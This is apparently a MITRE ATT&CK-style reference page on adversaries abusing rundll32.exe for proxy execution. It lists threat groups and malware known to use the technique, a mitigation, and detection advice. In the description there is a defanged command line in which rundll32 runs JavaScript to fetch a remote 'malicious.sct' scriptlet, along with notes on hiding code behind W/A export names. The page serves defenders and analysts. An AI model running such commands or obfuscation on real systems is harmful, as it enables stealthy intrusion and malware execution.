Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: rundll32.exe {DLLname, DLLfunction}
).
Rundll32.exe can also be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL
and Control_RunDLLAsUser
. Double-clicking a .cpl file also causes rundll32.exe to execute.[1] For example, ClickOnce can be proxied through Rundll32.exe.
Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:"..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")"
This behavior has been seen used by malware such as Poweliks. [2]
Adversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command rundll32.exe ExampleDLL.dll, ExampleFunction
, rundll32.exe would first attempt to execute ExampleFunctionW
, or failing that ExampleFunctionA
, before loading ExampleFunction
). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending W
and/or A
to harmless ones.[3][4] DLL functions can also be exported and executed by an ordinal number (ex: rundll32.exe file.dll,#1
).
Additionally, adversaries may use Masquerading techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.[5]
ID | Name | Description |
---|---|---|
C0028 | 2015 Ukraine Electric Power Attack |
During the 2015 Ukraine Electric Power Attack, Sandworm Team used a backdoor which could execute a supplied DLL using |
S0045 | ADVSTORESHELL |
ADVSTORESHELL has used rundll32.exe in a Registry value to establish persistence.[7] |
G0073 | APT19 |
APT19 configured its payload to inject into the rundll32.exe.[8] |
G0007 | APT28 |
APT28 executed CHOPSTICK by using rundll32 commands such as |
G0022 | APT3 | |
G0050 | APT32 |
APT32 malware has used rundll32.exe to execute an initial infection process.[15] |
G0082 | APT38 |
APT38 has used rundll32.exe to execute binaries, scripts, and Control Panel Item files and to execute code via proxy to avoid triggering security tools.[16] |
G0096 | APT41 | |
G0143 | Aquatic Panda |
Aquatic Panda used rundll32.exe to proxy execution of a malicious DLL file identified as a keylogging binary.[18] |
S0438 | Attor |
Attor's installer plugin can schedule rundll32.exe to load the dispatcher.[19] |
S0093 | Backdoor.Oldrea |
Backdoor.Oldrea can use rundll32 for execution on compromised hosts.[20] |
S0606 | Bad Rabbit |
Bad Rabbit has used rundll32 to launch a malicious DLL as |
S0268 | Bisonal |
Bisonal has used rundll32.exe to execute as part of the Registry Run key it adds: |
S0520 | BLINDINGCAN |
BLINDINGCAN has used Rundll32 to load a malicious DLL.[23] |
G0108 | Blue Mockingbird |
Blue Mockingbird has executed custom-compiled XMRIG miner DLLs using rundll32.exe.[24] |
S0635 | BoomBox | |
S0204 | Briba |
Briba uses rundll32 within Registry Run Keys / Startup Folder entries to execute malicious DLLs.[26] |
S1039 | Bumblebee |
Bumblebee has used |
C0015 | C0015 |
During C0015, the threat actors loaded DLLs via |
C0018 | C0018 |
During C0018, the threat actors used |
C0021 | C0021 |
During C0021, the threat actors used |
G0008 | Carbanak |
Carbanak installs VNC server software that executes through rundll32.[32] |
S0154 | Cobalt Strike |
Cobalt Strike can use |
S0244 | Comnie | |
G0052 | CopyKittens |
CopyKittens uses rundll32 to load various tools on victims, including a lateral movement tool named Vminst, Cobalt Strike, and shellcode.[36] |
S0137 | CORESHELL |
CORESHELL is installed via execution of rundll32 with an export named "init" or "InitW."[37] |
S0046 | CozyCar |
The CozyCar dropper copies the system file rundll32.exe to the install location for the malware, then uses the copy of rundll32.exe to load and execute the main CozyCar component.[38] |
G1034 | Daggerfly |
Daggerfly proxied execution of malicious DLLs through a renamed rundll32.exe binary.[39] |
S0255 | DDKONG |
DDKONG uses Rundll32 to ensure only a single instance of itself is running at once.[40] |
S1052 | DEADEYE |
DEADEYE can use |
S0554 | Egregor | |
S0081 | Elise |
After copying itself to a DLL file, a variant of Elise calls the DLL file using rundll32.exe.[43] |
S0082 | Emissary |
Variants of Emissary have used rundll32.exe in Registry values added to establish persistence.[44] |
S0634 | EnvyScout |
EnvyScout has the ability to proxy execution of malicious files with Rundll32.[25] |
S0568 | EVILNUM |
EVILNUM can execute commands and scripts through rundll32.[45] |
S0512 | FatDuke | |
S0267 | FELIXROOT |
FELIXROOT uses Rundll32 for executing the dropper program.[47][48] |
G0046 | FIN7 |
FIN7 has used |
S0143 | Flame |
Rundll32.exe is used as a way of executing Flame at the command-line.[50] |
S0381 | FlawedAmmyy |
FlawedAmmyy has used |
S1044 | FunnyDream |
FunnyDream can use |
G0047 | Gamaredon Group |
Gamaredon Group malware has used rundll32 to launch additional malicious components.[53] |
S0032 | gh0st RAT | |
S0342 | GreyEnergy |
GreyEnergy uses PsExec locally in order to execute rundll32.exe at the highest privileges (NTAUTHORITY\SYSTEM).[48] |
G0125 | HAFNIUM | |
S0698 | HermeticWizard |
HermeticWizard has the ability to create a new process using |
S1027 | Heyoka Backdoor |
Heyoka Backdoor can use rundll32.exe to gain execution.[57] |
S0483 | IcedID |
IcedID has used rundll32.exe to execute the IcedID loader.[58][59] |
S0260 | InvisiMole |
InvisiMole has used rundll32.exe for execution.[60] |
S0044 | JHUHUGIT | |
G0094 | Kimsuky |
Kimsuky has used |
S0250 | Koadic | |
S0356 | KONNI |
KONNI has used Rundll32 to execute its loader for privilege escalation purposes.[65][66] |
S0236 | Kwampirs |
Kwampirs uses rundll32.exe in a Registry value added to establish persistence.[67] |
S1160 | Latrodectus |
Latrodectus can use rundll32.exe to execute downloaded DLLs.[68][69] |
G0032 | Lazarus Group |
Lazarus Group has used rundll32 to execute malicious payloads on a compromised host.[70] |
G0140 | LazyScripter |
LazyScripter has used |
G0059 | Magic Hound |
Magic Hound has used rundll32.exe to execute MiniDump from comsvcs.dll when dumping LSASS memory.[72] |
S0167 | Matryoshka |
Matryoshka uses rundll32.exe in a Registry Run key value for execution as part of its persistence mechanism.[73] |
S0576 | MegaCortex |
MegaCortex has used |
S1122 | Mispadu |
Mispadu uses RunDLL32 for execution via its injector DLL.[75] |
S1026 | Mongall | |
S0256 | Mosquito |
Mosquito's launcher uses rundll32.exe in a Registry Key value to start the main backdoor capability.[76] |
G0069 | MuddyWater |
MuddyWater has used malware that leveraged rundll32.exe in a Registry Run key to execute a .dll.[77] |
S0637 | NativeZone |
NativeZone has used rundll32 to execute a malicious DLL.[78] |
S1100 | Ninja |
Ninja loader components can be executed through rundll32.exe.[79] |
S0353 | NOKKI | |
S0368 | NotPetya |
NotPetya uses |
C0022 | Operation Dream Job |
During Operation Dream Job, Lazarus Group executed malware with |
C0005 | Operation Spalax |
During Operation Spalax, the threat actors used |
S1050 | PcShare | |
S0518 | PolyglotDuke |
PolyglotDuke can be executed using rundll32.exe.[46] |
S0139 | PowerDuke | |
S0113 | Prikormka | |
S0147 | Pteranodon |
Pteranodon executes functions using rundll32.exe.[88] |
S0196 | PUNCHBUGGY |
PUNCHBUGGY can load a DLL using Rundll32.[89] |
S0650 | QakBot |
QakBot has used Rundll32.exe to drop malicious DLLs including Brute Ratel C4 and to enable C2 communication.[90][91][92][93][34] |
S0481 | Ragnar Locker |
Ragnar Locker has used rundll32.exe to execute components of VirtualBox.[94] |
S1130 | Raspberry Robin |
Raspberry Robin uses rundll32 execution without any command line parameters to contact command and control infrastructure, such as IP addresses associated with Tor nodes.[95] |
G1039 | RedCurl |
RedCurl has used rundll32.exe to execute malicious files.[96][97][98] |
S0148 | RTM | |
S0074 | Sakula |
Sakula calls cmd.exe to run various DLL files via rundll32.[101] |
G0034 | Sandworm Team |
Sandworm Team used a backdoor which could execute a supplied DLL using rundll32.exe.[102] |
S0461 | SDBbot | |
S0382 | ServHelper |
ServHelper contains a module for downloading and executing DLLs that leverages |
S0589 | Sibot | |
C0024 | SolarWinds Compromise |
During the SolarWinds Compromise, APT29 used |
S1030 | Squirrelwaffle |
Squirrelwaffle has been executed using |
S0142 | StreamEx | |
S0559 | SUNBURST | |
S1064 | SVCReady | |
G0092 | TA505 |
TA505 has leveraged |
G0127 | TA551 | |
S0452 | USBferry |
USBferry can execute rundll32.exe in memory to avoid detection.[113] |
C0037 | Water Curupira Pikabot Distribution |
Water Curupira Pikabot Distribution utilizes rundll32.exe to execute the final Pikabot payload, using the named exports |
S0141 | Winnti for Windows |
The Winnti for Windows installer loads a DLL using rundll32.[115][116] |
G0102 | Wizard Spider |
Wizard Spider has utilized |
S0412 | ZxShell |
ZxShell has used rundll32.exe to execute other DLLs and named pipes.[118] |
ID | Mitigation | Description |
---|---|---|
M1050 | Exploit Protection |
Microsoft's Enhanced Mitigation Experience Toolkit (EMET) Attack Surface Reduction (ASR) feature can be used to block methods of using rundll32.exe to bypass application control. |
ID | Data Source | Data Component | Detects |
---|---|---|---|
DS0017 | Command | Command Execution |
Command arguments used with the rundll32.exe invocation may also be useful in determining the origin and purpose of the DLL being loaded. Typical command-line usage of rundll32.exe is DLLs stored on SMB shares can similarly be called using the syntax of Rundll32 can also be used to execute arbitrary Javascript using the syntax |
DS0022 | File | File Metadata |
Analyze contextual data about executed DLL files, which may include information such as name, the content (ex: signature, headers, or data/media), age, user/owner, permissions, etc. |
DS0011 | Module | Module Load |
Analyzing DLL exports and comparing to runtime arguments may be useful in uncovering obfuscated function calls. Static Portable Executable (PE) analysis tools can be used to examine and dump the exports of a particular DLL. |
DS0009 | Process | Process Creation |
Use process monitoring to monitor the execution and arguments of rundll32.exe. Compare recent invocations of rundll32.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity. When monitoring for all instances of Rundll32 execution, as defined by the logic in the Detection Pseudocode, it is imperative to also investigate the full set of command-line parameters used. These parameters contain key information about the DLL payload, including the name, entry point, and optional arguments. Note: Event IDs are for Sysmon (Event ID 10 - process create) and Windows Security Log (Event ID 4688 - a new process has been created). The Analytic looks for any instances of rundll32.exe but does no other filtering, which may result in false positives. Therefore, we recommend tuning any such analytics by including additional logic (e.g., testing the name of the user that created the process) that helps reduce false positives. Analytic 1 - RunDLL32.exe Monitoring
|